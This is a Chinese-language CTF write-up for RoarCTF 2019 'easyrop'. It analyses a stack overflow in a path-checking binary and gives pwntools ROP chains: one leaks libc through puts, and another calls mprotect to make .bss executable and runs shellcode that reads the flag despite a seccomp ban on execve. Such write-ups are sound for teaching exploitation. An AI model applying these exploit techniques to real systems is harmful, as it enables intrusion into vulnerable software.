roarctf 2019 easyrop

Uncategorized
4.3k words

Analyse

既然题目名为easyrop,那么这道题的利用方法和rop脱不了太大干系,尝试运行

可能刚开始不知道这个程序是做什么的,但是貌似程序是将我们的输入当作路径来处理的,我们通过IDA静态分析看看

main函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  FILE *v5; // rdi
  char v6[1032]; // [rsp+10h] [rbp-420h] BYREF
  __int64 v7; // [rsp+418h] [rbp-18h]
  char v8; // [rsp+427h] [rbp-9h]
  __int64 v9; // [rsp+428h] [rbp-8h]

  dword_6030A0 = 0;
  sub_400FC4();
  sub_401968();
  fwrite(">> ", 1uLL, 3uLL, stdout);
  fflush(stdout);
  v9 = 0LL;
  while ( !feof(stdin) )
  {
    v8 = fgetc(stdin);
    if ( v8 == 0xA )
      break;
    v3 = v9++;
    v7 = v3;
    v6[v3] = v8;
  }
  v6[v9] = 0;
  if ( (unsigned int)sub_401678(v6) )
  {
    qsort(base, dword_6030AC, 0x200uLL, compar);
    ((void (__fastcall *)(char *))sub_401541)(base);
  }
  else
  {
    v5 = stdout;
    fflush(stdout);
    ((void (__fastcall *)(FILE *))sub_400E87)(v5);
  }
  return 0LL;
}

可以看到

while ( !feof(stdin) )
  {
    v8 = fgetc(stdin);
    if ( v8 == 0xA )
      break;
    v3 = v9++;
    v7 = v3;
    v6[v3] = v8;
  }

这里应该就是接收用户输入的地方,while只要标准输入流不为空,则一直接收,遇到换行则跳出循环。接着v6[v9] = 0,这里的v9也就是v6的末位,将末位设置为0。然后进入sub_401678对用户的输入进行判断。

sub_401678

__int64 __fastcall sub_401678(char *a1)
{
  __int64 result; // rax
  char *v2; // rax
  struct stat stat_buf; // [rsp+10h] [rbp-1A0h] BYREF
  char ptr[256]; // [rsp+A0h] [rbp-110h] BYREF
  char *src; // [rsp+1A0h] [rbp-10h]
  _BYTE *v6; // [rsp+1A8h] [rbp-8h]

  dword_6030AC = 0;
  if ( (unsigned int)sub_401BB0(a1, &stat_buf) == -1 )
  {
    strcpy(ptr, "Can't get the information of the given path.\n");
    fwrite(ptr, 1uLL, 0x2EuLL, stdout);
    return 0LL;
  }
  else if ( (stat_buf.st_mode & 0xF000) == 0x8000 )
  {
    dword_6030AC = 1;
    src = __xpg_basename(a1);
    strcpy(base, src);
    strcpy(byte_6031C0, a1);
    return 1LL;
  }
  else
  {
    result = stat_buf.st_mode & 0xF000;
    if ( (_DWORD)result == 0x4000 )
    {
      if ( a1[strlen(a1) - 1] != 47 )
      {
        v2 = &a1[strlen(a1)];
        v6 = v2 + 1;
        *v2 = 47;
        *v6 = 0;
      }
      sub_4010FF(a1);
      return 1LL;
    }
  }
  return result;
}

这里的sub_401BB0函数,接收两个参数,一个文件名和一个指向’struct stat’结构的指针,然后该函数将参数传递给__xstat函数,并返回__xstat的返回值

__xstat函数是stat系统调用的一种变体,它用于获取指定文件的状态信息,该函数接受三个参数:

  • int ver:版本号,通常用于指定__xstat函数的指定版本

  • const char *path:指向文件路径的指针

  • struct stat *buf 指向struct stat结构的指针,该文件用于保存文件的状态信息

所以大概知道这个程序是对文件信息进行查看,用户输入应该是输入文件的路径

漏洞点

一般的rop都要结合栈溢,但是这里接收用户输入是使用的fgetc(),也不是那么一眼丁真

while ( !feof(stdin) )
{
  v8 = fgetc(stdin);
  if ( v8 == 0xA )
    break;
  v3 = v9++;
  v7 = v3;
  v6[v3] = v8;
}
v6[v9] = 0;

但是注意这里的while,只要stdin不为空则一直接收用户的输入,将输入存到v6里去,我们看下v6这个变量的定义:

char v6[1032]; // [rsp+10h] [rbp-420h] BYREF

双击查看下v6的栈的情况

0000000000000420 var_420 db 1032 dup(?)  ======> v6从这里开始
-0000000000000018 var_18 dq ?
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 var_9 db ?
-0000000000000008 var_8 dq ?
+0000000000000000  s db 8 dup(?)
+0000000000000008  r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

可以发现,由于没有对v6这个变量的长度进行限制,所以这里是可以溢出的,通过v6我们可以覆盖到返回地址,从而rop

构造ropchain

tips

这里需要注意的是,在栈上往下覆盖时,路径上还存有其他变量,我们要尽量保证覆盖的数据不会导致程序异常退出。查看发现这里的v8其实就是上方提到的v6[v9] = 0中的index => v9,根据经验这里肯定不能覆盖掉索引,看了另一个师傅的wp,这里的索引需要覆盖为0x28(40),暂时还不知道为什么,哭

泄露libc基址

接下来就是愉快的rop了,程序有puts函数,那么选用puts来泄露libc基址,最后再控制返回地址回到main函数,进行多次利用

payload = [
    ret,
    pop_rdi,
    elf.got['puts'],
    elf.plt['puts'],
    0x4019F3
]
io.sendlineafter(">> ", b"A" * 0x418 + p8(0x28) + flat(payload))

shellcode

拿到libc基址后,尝试通过system()调用/bin/sh发现无果,原因是使用seccomp-tools查看,该程序禁用了execve系统调用,而system()函数底层需要间接调用execve()或者exec系列函数,故此方法不可行了

这里记录一个学到的做法:构造rop,将用户输入再下一次输入的内容定位到bss段上,再通过mprotect将该bss段赋予可读可写可执行权限,下一次输入时输入shellcode,从而在bss段上执行了这段shellcode,这道题的话就是读取flag

构造ropchain
payload = [
    pop_rdi, # : pop rdi ; ret
    elf.bss(),

    libc_base + libc.symbols['gets'],

    pop_rdi, # : pop rdi ; ret
    elf.bss() & 0xfffffffffffff000,
    libc_base + 0x0000000000023e6a, #: pop rsi; ret;
    0x1000 ,
    libc_base + 0x0000000000001b96, #: pop rdx; ret; 
    7 ,
    libc_base + libc.symbols['mprotect'],
    elf.bss(),
]
# gdb.attach(io)
io.sendlineafter('>> ', b'a' * 0x418 + p8(0x28) + flat(payload))
pop_rdi,
elf.bss() 

即是将bss段的基地址弹到rdi中,接着ret执行gets(),意为在bss段上执行gets()函数

pop_rdi, # : pop rdi ; ret
elf.bss() & 0xfffffffffffff000,
libc_base + 0x0000000000023e6a, #: pop rsi; ret;
0x1000 ,
libc_base + 0x0000000000001b96, #: pop rdx; ret; 
7 ,
libc_base + libc.symbols['mprotect'],

这段操作是在为mprotect提供参数,将bss段起始的地址存入rdi,作为第一个参数,接着将0x1000这个参数存入rsi,作为第二个参数,然后将7存入rdx,作为第三个参数,最后调用mprotect。

7是mprotect()函数的prot参数的值,在二进制中,7为111,表示PROT_READ | PROT_WRITE | PROT_EXEC可读可写可执行

elf.bss()

最后跳转到bss段

生成shellcode

接着,现在在等待用户输入了( gets() ),我们生成shellcode进行cat flag,发送即可

shellcode = asm(shellcraft.cat('flag'))
io.sendline(shellcode)